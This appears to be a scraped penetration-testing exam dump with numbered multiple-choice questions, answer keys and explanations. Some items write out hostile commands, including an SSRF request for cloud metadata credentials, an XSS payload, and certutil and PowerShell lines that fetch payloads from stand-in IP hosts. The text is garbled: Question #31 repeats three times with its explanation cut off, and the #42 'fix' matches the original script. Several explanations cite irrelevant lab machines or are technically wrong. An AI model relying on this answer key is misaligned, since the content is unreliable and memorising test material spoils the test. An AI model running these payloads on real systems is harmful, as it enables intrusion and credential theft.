Explanation:

The tester’s activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA).

Here’s why: Understanding SCA:

Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.

Purpose: To detect and manage risks associated with third-party software components.

Comparison with Other Terms:

SAST (A): Static Application Security Testing involves analyzing source code for security vulnerabilities without executing the code.

SBOM (B): Software Bill of Materials is a detailed list of all components in a software product, often used in SCA but not the analysis itself.

ICS (C): Industrial Control Systems, not relevant to the context of software analysis.

The tester’s activity of examining a JAR file for vulnerable components aligns with SCA, making it the correct answer.

Question #25

During a penetration testing engagement, a tester targets the internet-facing services used by the client.

Which of the following describes the type of assessment that should be considered in this scope of work?

  • A . Segmentation
  • B . Mobile
  • C . External
  • D . Web

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

An external assessment focuses on testing the security of internet-facing services.

Here ’ s why option C is correct:

External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure. The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization’s network. Segmentation: This type of assessment focuses on ensuring that different parts of a network are appropriately segmented to limit the spread of attacks. It’s more relevant to internal network architecture.

Mobile: This assessment targets mobile applications and devices, not general internet-facing services.

Web: While web assessments focus on web applications, the scope of an external assessment is broader and includes all types of internet-facing services.

Reference from Pentest:

Horizontall HTB: Highlights the importance of assessing external services to identify vulnerabilities that could be exploited from outside the network​.

Luke HTB: Demonstrates the process of evaluating public-facing services to ensure their security.

Conclusion:

Option C, External, is the most appropriate type of assessment for targeting internet-facing services used by the client.

Question #26

A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components.

Which of the following frameworks is the tester using?

  • A . OWASP MASVS
  • B . OSSTMM
  • C . MITRE ATT&CK
  • D . CREST

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

The OSSTMM (Open Source Security Testing Methodology Manual) is a comprehensive framework for security testing that includes 14 components in its life cycle.

Here ’ s why option B is correct: OSSTMM: This methodology breaks down the security testing process into 14 components, covering various aspects of security assessment, from planning to execution and reporting.

OWASP MASVS: This is a framework for mobile application security verification and does not have a 14-component life cycle.

MITRE ATT&CK: This is a knowledge base of adversary tactics and techniques but does not describe a 14-component life cycle.

CREST: This is a certification body for penetration testers and security professionals but does not

provide a specific 14-component framework.

Reference from Pentest:

Anubis HTB: Emphasizes the structured approach of OSSTMM in conducting comprehensive security assessments.

Writeup HTB: Highlights the use of detailed methodologies like OSSTMM to cover all aspects of security testing.

Conclusion:

Option B, OSSTMM, is the framework that breaks the life cycle into 14 components, making it the correct answer.

Question #27

A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system.

Which of the following attacks is the tester performing?

  • A . Kiosk escape
  • B . Arbitrary code execution
  • C . Process hollowing
  • D . Library injection

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

A kiosk escape involves breaking out of a restricted environment, such as a kiosk or a single application interface, to access the underlying operating system.

Here ’ s why option A is correct: Kiosk Escape: This attack targets environments where user access is intentionally limited, such as a kiosk or a dedicated application. The goal is to break out of these restrictions and gain access to the full operating system.

Arbitrary Code Execution: This involves running unauthorized code on the system, but the scenario described is more about escaping a restricted environment.

Process Hollowing: This technique involves injecting code into a legitimate process, making it appear benign while executing malicious activities.

Library Injection: This involves injecting malicious code into a running process by loading a malicious

library, which is not the focus in this scenario.

Reference from Pentest:

Forge HTB: Demonstrates techniques to escape restricted environments and gain broader access to the system.

Horizontall HTB: Shows methods to break out of limited access environments, aligning with the

concept of kiosk escape​.

Conclusion:

Option A, Kiosk escape, accurately describes the type of attack where a tester breaks out of a restricted environment to access the underlying operating system.

Question #28

A penetration tester presents the following findings to stakeholders:

Control | Number of findings | Risk | Notes

Encryption | 1 | Low | Weak algorithm noted

Patching | 8 | Medium | Unsupported systems

System hardening | 2 | Low | Baseline drift observed

Secure SDLC | 10 | High | Libraries have vulnerabilities

Password policy | 0 | Low | No exceptions noted

Based on the findings, which of the following recommendations should the tester make? (Select two).

  • A . Develop a secure encryption algorithm.
  • B . Deploy an asset management system.
  • C . Write an SDLC policy.
  • D . Implement an SCA tool.
  • E . Obtain the latest library version.
  • F . Patch the libraries.

Reveal Solution Hide Solution

Correct Answer: D, E
D, E

Explanation:

Based on the findings, the focus should be on addressing vulnerabilities in libraries and ensuring their security. Here’s why options D and E are correct: Implement an SCA Tool:

SCA (Software Composition Analysis) tools are designed to analyze and manage open-source components in an application. Implementing an SCA tool would help in identifying and managing vulnerabilities in libraries, aligning with the finding of vulnerable libraries in the secure SDLC process. This recommendation addresses the high-risk finding related to the Secure SDLC by providing a systematic approach to manage and mitigate vulnerabilities in software dependencies. Obtain the Latest Library Version:

Keeping libraries up to date is a fundamental practice in maintaining the security of an application. Ensuring that the latest, most secure versions of libraries are used directly addresses the high-risk finding related to vulnerable libraries.

This recommendation is a direct and immediate action to mitigate the identified vulnerabilities.

Other Options Analysis:

Develop a Secure Encryption Algorithm: This is not practical or necessary given that the issue is with the use of a weak algorithm, not the need to develop a new one.

Deploy an Asset Management System: While useful, this is not directly related to the identified high-risk issue of vulnerable libraries.

Write an SDLC Policy: While helpful, the more immediate and effective actions involve implementing tools and processes to manage and update libraries. Reference from Pentest:

Horizontall HTB: Demonstrates the importance of managing software dependencies and using tools to identify and mitigate vulnerabilities in libraries.

Writeup HTB: Highlights the need for keeping libraries updated to ensure application security and

mitigate risks.

Conclusion:

Options D and E, implementing an SCA tool and obtaining the latest library version, are the most appropriate recommendations to address the high-risk finding related to vulnerable libraries in the Secure SDLC process.

Question #29

While conducting a reconnaissance activity, a penetration tester extracts the following information:

Emails: – admin@acme.com – sales@acme.com – support@acme.com

Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?

  • A . Unauthorized access to the network
  • B . Exposure of sensitive servers to the internet
  • C . Likelihood of SQL injection attacks
  • D . Indication of a data breach in the company

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

When a penetration tester identifies email addresses during reconnaissance, the most immediate risk to leverage for an attack is unauthorized access to the network.

Here’s why: Phishing Attacks:

Email addresses are often used to conduct phishing attacks. By crafting a convincing email, an attacker can trick the recipient into revealing their login credentials or downloading malicious software, thereby gaining unauthorized access to the network. Spear Phishing:

With specific email addresses (like admin@acme.com), attackers can perform spear phishing, targeting key individuals within the organization to gain access to more sensitive parts of the network.

Comparison with Other Risks:

Exposure of sensitive servers to the internet (B): This is unrelated to the email addresses and more about network configuration.

Likelihood of SQL injection attacks (C): SQL injection targets web applications and databases, not email addresses.

Indication of a data breach in the company (D): The presence of email addresses alone does not indicate a data breach.

Email addresses are a starting point for phishing attacks, making unauthorized access to the network the most relevant risk.

Question #30

A penetration tester gains access to a host but does not have access to any type of shell.

Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?

  • A . ProxyChains
  • B . Netcat
  • C . PowerShell ISE
  • D . Process IDs

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

If a penetration tester gains access to a host but does not have a shell, the best tool for further enumeration is Netcat. Here’s why:

Netcat:

Versatility: Netcat is known as the "Swiss Army knife" of networking tools. It can be used for port scanning, banner grabbing, and setting up reverse shells.

Enumeration: Without a shell, Netcat can help enumerate open ports and services running on the host, providing insight into the host’s environment. Comparison with Other Tools:

ProxyChains: Used to chain proxies together, not directly useful for enumeration without an initial shell.

PowerShell ISE: Requires a shell to execute commands and scripts.

Process IDs: Without a shell, enumerating process IDs directly isn’t possible.

Netcat’s ability to perform multiple network-related tasks without needing a shell makes it the best choice for further enumeration.

Question #31

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter.

Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

  • A . curl <url>?param=http://169.254.169.254/latest/meta-data/
  • B . curl ‘<url>?param=http://127.0.0.1/etc/passwd’
  • C . curl ‘<url>?param=<script>alert(1)<script>/’
  • D . curl <url>?param=http://127.0.0.1/
    Option D

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services.

Here’s why the specified command is appropriate:

Accessing Cloud Metadata Service:

URL: http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.

Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as

instance credentials and other metadata.

Comparison with Other Commands:

Question #31

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter.

Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

  • A . curl <url>?param=http://169.254.169.254/latest/meta-data/
  • B . curl ‘<url>?param=http://127.0.0.1/etc/passwd’
  • C . curl ‘<url>?param=<script>alert(1)<script>/’
  • D . curl <url>?param=http://127.0.0.1/
    Option D

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services.

Here’s why the specified command is appropriate:

Accessing Cloud Metadata Service:

URL: http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.

Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as

instance credentials and other metadata.

Comparison with Other Commands:

Question #31

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter.

Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

  • A . curl <url>?param=http://169.254.169.254/latest/meta-data/
  • B . curl ‘<url>?param=http://127.0.0.1/etc/passwd’
  • C . curl ‘<url>?param=<script>alert(1)<script>/’
  • D . curl <url>?param=http://127.0.0.1/
    Option D

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services.

Here’s why the specified command is appropriate:

Accessing Cloud Metadata Service:

URL: http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.

Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as

instance credentials and other metadata.

Comparison with Other Commands:

Question #34

A penetration tester cannot find information on the target company’s systems using common OSINT methods. The tester’s attempts to do reconnaissance against internet-facing resources have been blocked by the company’s WAF.

Which of the following is the best way to avoid the WAF and gather information about the target company’s systems?

  • A . HTML scraping
  • B . Code repository scanning
  • C . Directory enumeration
  • D . Port scanning

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information.

Here’s why:

Code Repository Scanning:

Leaked Information: Code repositories (e.g., GitHub, GitLab) often contain sensitive information, including API keys, configuration files, and even credentials that developers might inadvertently commit.

Accessible: These repositories can often be accessed publicly, bypassing traditional defenses like WAFs.

Comparison with Other Methods:

HTML Scraping: Limited to the data present on web pages and can still be blocked by WAF. Directory Enumeration: Likely to be blocked by WAF as well and might not yield significant internal information.

Port Scanning: Also likely to be blocked or trigger alerts on WAF or IDS/IPS systems.

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

Question #35

During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network.

The tester receives the results and then executes the following command:

snmpwalk -v 2c -c public 192.168.1.23

Which of the following is the tester trying to do based on the command they used?

  • A . Bypass defensive systems to collect more information.
  • B . Use an automation tool to perform the attacks.
  • C . Script exploits to gain access to the systems and host.
  • D . Validate the results and remove false positives.

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here’s the purpose in the context provided: SNMP Enumeration:

Function: snmpwalk is used to retrieve a large amount of information from the target device using SNMP.

Version: -v 2c specifies the SNMP version.

Community String: -c public specifies the community string, which is essentially a password for SNMP queries.

Purpose of the Command:

Validate Results: The tester uses SNMP to gather detailed information about the network devices to confirm the findings of the vulnerability scanner and remove any false positives.

Detailed Information: SNMP can provide detailed information about device configurations, network interfaces, and other settings that can validate the scanner’s results. Comparison with Other Options:

Bypassing Defensive Systems (A): Not directly related to SNMP enumeration.

Using Automation Tools (B): While SNMPwalk is automated, the primary purpose here is validation.

Script Exploits (C): SNMPwalk is not used for scripting exploits but for information gathering.

By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.

Question #36

A penetration tester is working on a security assessment of a mobile application that was developed in-house for local use by a hospital. The hospital and its customers are very concerned about disclosure of information.

Which of the following tasks should the penetration tester do first?

  • A . Set up Drozer in order to manipulate and scan the application.
  • B . Run the application through the mobile application security framework.
  • C . Connect Frida to analyze the application at runtime to look for data leaks.
  • D . Load the application on client-owned devices for testing.

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

When performing a security assessment on a mobile application, especially one concerned with information disclosure, it is crucial to follow a structured approach to identify vulnerabilities comprehensively.

Here ’ s why option B is correct:

Mobile Application Security Framework: This framework provides a structured methodology for assessing the security of mobile applications. It includes various tests such as static analysis, dynamic analysis, and reverse engineering, which are essential for identifying vulnerabilities related to information disclosure.

Initial Steps: Running the application through a security framework allows the tester to identify a broad range of potential issues systematically. This initial step ensures that all aspects of the application’s security are covered before delving into more specific tools like Drozer or Frida. Reference from Pentest:

Writeup HTB: Demonstrates the use of structured methodologies to ensure comprehensive coverage of security assessments.

Horizontall HTB: Emphasizes the importance of following a structured approach to identify and address security issues.

Question #37

Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time.

Which of the following is the best tool for this task?

  • A . Burp Suite
  • B . masscan
  • C . Nmap
  • D . hping

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

When needing to scan a large network for open ports quickly, the choice of tool is critical.

Here ’ s why option B is correct:

masscan: This tool is designed for high-speed port scanning and can scan entire networks much faster than traditional tools like Nmap. It can handle large ranges of IP addresses and ports with high efficiency.

Nmap: While powerful and versatile, Nmap is generally slower than masscan for scanning very large networks, especially when speed is crucial.

Burp Suite: This tool is primarily for web application security testing and not optimized for network-wide port scanning.

hping: This is a network tool used for packet crafting and network testing, but it is not designed for

high-speed network port scanning.

Reference from Pentest:

Luke HTB: Highlights the use of efficient tools for large-scale network scanning to identify open ports quickly​.

Anubis HTB: Demonstrates scenarios where high-speed scanning tools like masscan are essential for large network assessments​.

Question #38

A penetration tester is performing an authorized physical assessment. During the test, the tester observes an access control vestibule and on-site security guards near the entry door in the lobby.

Which of the following is the best attack plan for the tester to use in order to gain access to the facility?

  • A . Clone badge information in public areas of the facility to gain access to restricted areas.
  • B . Tailgate into the facility during a very busy time to gain initial access.
  • C . Pick the lock on the rear entrance to gain access to the facility and try to gain access.
  • D . Drop USB devices with malware outside of the facility in order to gain access to internal machines.

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios.

Here ’ s why option B is correct:

Tailgating: This involves following an authorized person into a secure area without proper credentials. During busy times, it’s easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.

Cloning Badge Information: This can be effective but requires proximity to employees and specialized equipment, making it more complex and time-consuming.

Picking Locks: This is a more invasive technique that carries higher risk and is less stealthy compared to tailgating.

Dropping USB Devices: This tests employee awareness and response to malicious devices but does

not directly test physical access controls.

Reference from Pentest:

Writeup HTB: Demonstrates the effectiveness of social engineering and tailgating techniques in bypassing physical security measures​.

Forge HTB: Highlights the use of non-invasive methods like tailgating to test physical security without

causing damage or raising alarms​.

Conclusion:

Option B, tailgating into the facility during a busy time, is the best attack plan to gain access to the facility in an authorized physical assessment.

Question #39

During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward.

Which of the following types of attacks is this an example of?

  • A . SQL injection
  • B . SSRF
  • C . XSS
  • D . Server-side template injection

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users.

Here ’ s why option C is correct:

XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user’s browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.

SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.

Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user’s browser.

Reference from Pentest:

Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications​. Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser​.

Question #40

A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network.

Which of the following is the next task the tester should complete to accomplish the objective?

  • A . Initiate a social engineering campaign.
  • B . Perform credential dumping.
  • C . Compromise an endpoint.
  • D . Share enumeration.

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping.

Here’s why:

Credential Dumping:

Purpose: Credential dumping involves extracting password hashes and plaintext passwords from compromised systems. These credentials can be used to gain further access to sensitive data and critical systems within the network.

Tools: Common tools used for credential dumping include Mimikatz, Windows Credential Editor, and ProcDump.

Impact: With these credentials, the tester can move laterally across the network, escalate privileges,

and access confidential information.

Comparison with Other Options:

Initiate a Social Engineering Campaign (A): Social engineering is typically an initial access technique rather than a follow-up action after gaining internal access.

Compromise an Endpoint (C): The tester already has a foothold, so compromising another endpoint is less direct than credential dumping for accessing sensitive information.

Share Enumeration (D): While share enumeration can provide useful information, it is less impactful than credential dumping in terms of gaining further access and achieving the main objective. Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.

Question #41

During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops.

Which of the following technical controls should the tester recommend to reduce the risk of compromise?

  • A . Multifactor authentication
  • B . Patch management
  • C . System hardening
  • D . Network segmentation

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening.

Here’s why:

System Hardening:

Purpose: System hardening involves securing systems by reducing their surface of vulnerability. This includes disabling unnecessary services, applying security patches, and configuring systems securely.

Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.

Comparison with Other Controls:

Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.

Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.

Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.

System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.

Question #42

A penetration tester writes the following script to enumerate a 1724 network:

1 #!/bin/bash

2 for i in {1..254}; do

3 ping -c1 192.168.1.$i

4 done

The tester executes the script, but it fails with the following error:

-bash: syntax error near unexpected token `ping’

Which of the following should the tester do to fix the error?

  • A . Add do after line 2.
  • B . Replace {1..254} with $(seq 1 254).
  • C . Replace bash with tsh.
  • D . Replace $i with ${i}.

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

The error in the script is due to a missing do keyword in the for loop.

Here’s the corrected script and explanation:

Original Script:

1 #!/bin/bash

2 for i in {1..254}; do

3 ping -c1 192.168.1.$i

4 done

Error Explanation:

The for loop syntax in Bash requires the do keyword to indicate the start of the loop’s body.

Corrected Script:

1 #!/bin/bash

2 for i in {1..254}; do

3 ping -c1 192.168.1.$i

4 done

Adding do after line 2 corrects the syntax error and allows the script to execute properly.

Question #43

A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access.

Which of the following commands should the penetration tester use?

  • A . powershell.exe impo C:toolsfoo.ps1
  • B . certutil.exe -f https://192.168.0.1/foo.exe bad.exe
  • C . powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
  • D . rundll32.exe c:pathfoo.dll,functName

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

To execute a payload and gain additional access, the penetration tester should use certutil.exe.

Here’s why:

Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

Comparison with Other Commands:

powershell.exe impo C:toolsfoo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.

powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/") (C): Incorrect syntax for downloading and executing a script.

rundll32.exe c:pathfoo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.

Using certutil.exe to download and execute a payload is a common and effective method.

Question #44

During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client’s internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results.

Which of the following should the tester have done?

  • A . Rechecked the scanner configuration.
  • B . Performed a discovery scan.
  • C . Used a different scan engine.
  • D . Configured all the TCP ports on the scan.

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

When the client indicates that the scope’s hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope.

Here’s the best course of action:

Performing a Discovery Scan:

Purpose: A discovery scan identifies all active devices on the network before running a detailed vulnerability scan. It ensures that all in-scope devices are included in the assessment.

Process: The discovery scan uses techniques like ping sweeps, ARP scans, and port scans to identify active hosts and services.

Comparison with Other Actions:

Rechecking the Scanner Configuration (A): Useful but not as comprehensive as ensuring all hosts are discovered.

Using a Different Scan Engine (C): Not necessary if the issue is with host discovery rather than the scanner’s capability.

Configuring All TCP Ports on the Scan (D): Helps in detailed scanning but does not address missing hosts.

Performing a discovery scan ensures that all in-scope devices are identified and included in the vulnerability assessment, making it the best course of action.

Question #45

Which of the following describes the process of determining why a vulnerability scanner is not providing results?

  • A . Root cause analysis
  • B . Secure distribution
  • C . Peer review
  • D . Goal reprioritization

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output.

Here ’ s why option A is correct: Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.

Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.

Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.

Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.

Reference from Pentest:

Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly​.

Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.

Question #46

During a security audit, a penetration tester wants to run a process to gather information about a target network’s domain structure and associated IP addresses.

Which of the following tools should the tester use?

  • A . Dnsenum
  • B . Nmap
  • C . Netcat
  • D . Wireshark

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

Dnsenum is a tool specifically designed to gather information about DNS, including domain structure and associated IP addresses.

Here ’ s why option A is correct:

Dnsenum: This tool is used for DNS enumeration and can gather information about a domain’s DNS records, subdomains, IP addresses, and other related information. It is highly effective for mapping out a target network’s domain structure.

Nmap: While a versatile network scanning tool, Nmap is more focused on port scanning and service detection rather than detailed DNS enumeration.

Netcat: This is a network utility for reading and writing data across network connections, not for DNS

enumeration.

Wireshark: This is a network protocol analyzer used for capturing and analyzing network traffic but

not specifically for gathering DNS information.

Reference from Pentest:

Anubis HTB: Shows the importance of using DNS enumeration tools like Dnsenum to gather detailed information about the target’s domain structure​.

Forge HTB: Demonstrates the process of using specialized tools to collect DNS and IP information efficiently.

Question #47

During an external penetration test, a tester receives the following output from a tool:

test.comptia.org

info.comptia.org

vpn.comptia.org

exam.comptia.org

Which of the following commands did the tester most likely run to get these results?

  • A . nslookup -type=SOA comptia.org
  • B . amass enum -passive -d comptia.org
  • C . nmap -Pn -sV -vv -A comptia.org
  • D . shodan host comptia.org

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

The tool and command provided by option B are used to perform passive DNS enumeration, which can uncover subdomains associated with a domain.

Here ’ s why option B is correct:

amass enum -passive -d comptia.org: This command uses the Amass tool to perform passive DNS enumeration, effectively identifying subdomains of the target domain. The output provided (subdomains) matches what this tool and command would produce.

nslookup -type=SOA comptia.org: This command retrieves the Start of Authority (SOA) record, which does not list subdomains.

nmap -Pn -sV -vv -A comptia.org: This Nmap command performs service detection and aggressive scanning but does not enumerate subdomains.

shodan host comptia.org: Shodan is an internet search engine for connected devices, but it does not

perform DNS enumeration to list subdomains.

Reference from Pentest:

Writeup HTB: Demonstrates the use of DNS enumeration tools like Amass to uncover subdomains during external assessments​.

Horizontall HTB: Highlights the effectiveness of passive DNS enumeration in identifying subdomains and associated information​.

Question #48

A penetration tester is developing the rules of engagement for a potential client.

Which of the following would most likely be a function of the rules of engagement?

  • A . Testing window
  • B . Terms of service
  • C . Authorization letter
  • D . Shared responsibilities

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

The rules of engagement define the scope, limitations, and conditions under which a penetration test is conducted.

Here ’ s why option A is correct:

Testing Window: This specifies the time frame during which the penetration testing activities are authorized to occur. It is a crucial part of the rules of engagement to ensure the testing does not disrupt business operations and is conducted within agreed-upon hours.

Terms of Service: This generally refers to the legal agreement between a service provider and user, not specific to penetration testing engagements.

Authorization Letter: This provides formal permission for the penetration tester to perform the assessment but is not a component of the rules of engagement.

Shared Responsibilities: This refers to the division of security responsibilities between parties, often seen in cloud service agreements, but not specifically a function of the rules of engagement. Reference from Pentest:

Luke HTB: Highlights the importance of clearly defining the testing window in the rules of engagement to ensure all parties are aligned.

Forge HTB: Demonstrates the significance of having a well-defined testing window to avoid disruptions and ensure compliance during the assessment.

Question #49

A penetration tester needs to complete cleanup activities from the testing lead.

Which of the following should the tester do to validate that reverse shell payloads are no longer running?

  • A . Run scripts to terminate the implant on affected hosts.
  • B . Spin down the C2 listeners.
  • C . Restore the firewall settings of the original affected hosts.
  • D . Exit from C2 listener active sessions.

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts.

Here ’ s why option A is correct:

Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.

Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.

Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.

Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that

implants are terminated.

Reference from Pentest:

Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.

Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.

Question #50

A penetration testing team wants to conduct DNS lookups for a set of targets provided by the client.

The team crafts a Bash script for this task. However, they find a minor error in one line of the script:

1 #!/bin/bash

2 for i in $(cat example.txt); do

3 curl $i

4 done

Which of the following changes should the team make to line 3 of the script?

  • A . resolvconf $i
  • B . rndc $i
  • C . systemd-resolve $i
  • D . host $i

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

Script Analysis:

Line 1: #!/bin/bash – This line specifies the script should be executed in the Bash shell.

Line 2: for i in $(cat example.txt); do – This line starts a loop that reads each line from the file example.txt and assigns it to the variable i.

Line 3: curl $i – This line attempts to fetch the content from the URL stored in i using curl. However, for DNS lookups, curl is inappropriate.

Line 4: done – This line ends the loop.

Error Identification:

The curl command is used for transferring data from or to a server, often used for HTTP requests,

which is not suitable for DNS lookups.

Correct Command:

To perform DNS lookups, the host command should be used. The host command performs DNS lookups and displays information about the given domain. Corrected Script:

Replace curl $i with host $i to perform DNS lookups on each target specified in example.txt.

Pentest

Reference: In penetration testing, DNS enumeration is a crucial step. It involves querying DNS servers to gather information about the target domain, which includes resolving domain names to IP addresses and vice versa.

Common tools for DNS enumeration include host, dig, and nslookup. The host command is particularly straightforward for simple DNS lookups.

By correcting the script to use host $i, the penetration testing team can effectively perform DNS lookups on the targets specified in example.txt.

Question #51

A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:

1 import requests

2 import pathlib

3

4 for url in pathlib.Path("urls.txt").read_text().split("n"):

5 response = requests.get(url)

6 if response.status == 401:

7 print("URL accessible")

Which of the following changes is required?

  • A . The condition on line 6
  • B . The method on line 5
  • C . The import on line 1
  • D . The delimiter in line 3

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

Script Analysis:

Line 1: import requests – Imports the requests library to handle HTTP requests.

Line 2: import pathlib – Imports the pathlib library to handle file paths.

Line 4: for url in pathlib.Path("urls.txt").read_text().split("n"): – Reads the urls.txt file, splits its

contents by newline, and iterates over each URL.

Line 5: response = requests.get(url) – Sends a GET request to the URL and stores the response.

Line 6: if response.status == 401: – Checks if the response status code is 401 (Unauthorized).

Line 7: print("URL accessible") – Prints a message indicating the URL is accessible.

Error Identification:

The condition if response.status == 401: is incorrect for determining if a URL is publicly accessible. A 401 status code indicates that the resource requires authentication. Correct Condition:

The correct condition should check for a 200 status code, which indicates that the request was

successful and the resource is accessible.

Corrected Script:

Replace if response.status == 401: with if response.status_code == 200: to correctly identify publicly

accessible URLs.

Pentest

